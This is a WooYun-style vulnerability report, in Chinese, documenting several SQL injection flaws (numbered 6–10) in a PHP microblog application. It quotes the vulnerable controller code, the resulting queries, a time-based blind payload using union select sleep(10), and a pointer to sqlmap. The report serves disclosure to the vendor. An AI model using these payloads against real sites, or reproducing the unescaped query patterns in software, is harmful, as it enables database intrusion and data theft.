2014-02-09:细节已通知厂商并且等待厂商处理中
2014-02-09:厂商已经确认,细节仅向厂商公开
2014-02-12:细节向第三方安全合作伙伴开放
2014-02-19:细节向核心白帽子及相关领域专家公开
2014-03-01:细节向普通白帽子公开
2014-03-21:细节向实习白帽子公开
2014-05-10:细节向公众公开
过滤不严。
详细说明:注入6:
在apiaction.class.php中
public function userpreview() {
$username=trim(rawurldecode($this->_post('username')));
if ($username) {
parent::init();
$user = M('Users')->where("user_name='$username'")->find();
if ($user) {
if ($user['cityid']) {//用户所在地
$dtModel=M('District');
$pdata = $dtModel->where("id='$user[cityid]'")->find();
$pdata2 = $dtModel->where("id='$pdata[upid]'")->find();
$user['live_city']=$pdata2['name'].' '.$pdata['name'];
}
$isfriend=D('Friend')->followstatus($user['user_id'],$this->my['user_id']);
$username
无过滤 且解码。
然后带入查询
$user = M('Users')->where("user_name='$username'")->find();
where user_name='username'
SELECT * FROM `et_users` WHERE user_name='admin' LIMIT 1
执行的语句 构造一下
注入成功 有图 有真相。
注入7:
在appaction.class.php中
public function myapps() {
parent::tologin();
import("@.ORG.Page");
C('PAGE_NUMBERS',10);
$pvmodel=D('MyappsView');
$keyword=htmlspecialchars(trim($_REQUEST['keyword']));
if (!$keyword) {
$count=M('Myapps')->where("user_id='".$this->my['user_id']."'")->count();
$p= new Page($count,20);
$page = $p->show("?m=app&a=myapps&p=");
$myapp=$pvmodel->where("user_id='".$this->my['user_id']."'")->order("installs DESC")->limit($p->firstRow.','.$p->listRows)->select();
} else {
$count=$pvmodel->where("name LIKE '%$keyword%' AND user_id='".$this->my['user_id']."'")->count();
$p= new Page($count,20);
$page = $p->show("?m=app&a=myapps&keyword=$keyword&p=");
$myapp=$pvmodel->where("name LIKE '%$keyword%' AND user_id='".$this->my['user_id']."'")->order("installs DESC")->limit($p->firstRow.','.$p->listRows)->select();
}
$keyword=htmlspecialchars(trim($_REQUEST['keyword']));
实体化 对注入影响不大。
然后带入
$count=$pvmodel->where("name LIKE '%$keyword%' AND user_id='".$this->my['user_id']."'")->count();
SELECT COUNT(*) AS tp_count FROM et_myapps Myapps LEFT JOIN et_plugins Plugins ON Myapps.appid=Plugins.id WHERE name LIKE '%yu%' AND user_id='2' LIMIT 1
执行的语句 构造一下
注入成功 有图有真相。
注入8:
在appmanageraction.class.php 中
public function init() {
$hookids=$_POST['hookids'];
if ($hookids) {
$mid=$_POST['mid'];
$_myapps=M('Myapps')->where("user_id='$mid'")->select();
if ($_myapps) {
foreach ($_myapps as $val) {
$myapps[$val['appid']]=1;
}
}
$mid=$_POST['mid'];
where user_id='$mid'
无过滤。 带入查询
$_myapps=M('Myapps')->where("user_id='$mid'")->select();
看执行的语句。SELECT * FROM `et_myapps` WHERE user_id='123'
构造一下。
mid=yu' union select sleep(10),2,3,4%23
执行的语句
成功延时
注入9:
在commentaction.class.php中
public function delmsg() {
$cmid=$_POST['cmid'];
if (is_array($cmid)) {
$cids=implode(',',$cmid);
M('Comments')->where("comment_id IN ($cids) AND (user_id='".$this->my['user_id']."' OR comment_uid='".$this->my['user_id']."')")->delete();
} else if (is_numeric($cmid)) {
M('Comments')->where("comment_id='$cmid' AND (user_id='".$this->my['user_id']."' OR comment_uid='".$this->my['user_id']."')")->delete();
}
echo json_encode(array("ret"=>'success',"tip"=>L('del_comment_success')));
}
$cmid=$_POST['cmid']; 无过滤
M('Comments')->where("comment_id IN ($cids) AND (user_id='".$this->my['user_id']."' OR comment_uid='".$this->my['user_id']."')")->delete();
带入
交给sqlmap把。
注入成功 有图有真相 。
注入10:
在appaction.class.php 中
public function index() {
parent::tologin();
$appname=trim($this->_get('appname'));
$action=$this->_get('action');//直接调用方法
$app=M('Plugins')->where("directory='$appname' AND available=1")->find();
$this->assign('app',$app);
$appname 无过滤 且直接带入查询。
where directory='$appname'
所执行的语句
<
成功延时
漏洞证明:
修复方案:
加强过滤。
版权声明:转载请注明来源 ′ 雨。@乌云 漏洞回应 厂商回应:危害等级:高
漏洞Rank:20
确认时间:2014-02-09 16:34
厂商回复:正在修复中
最新状态:暂无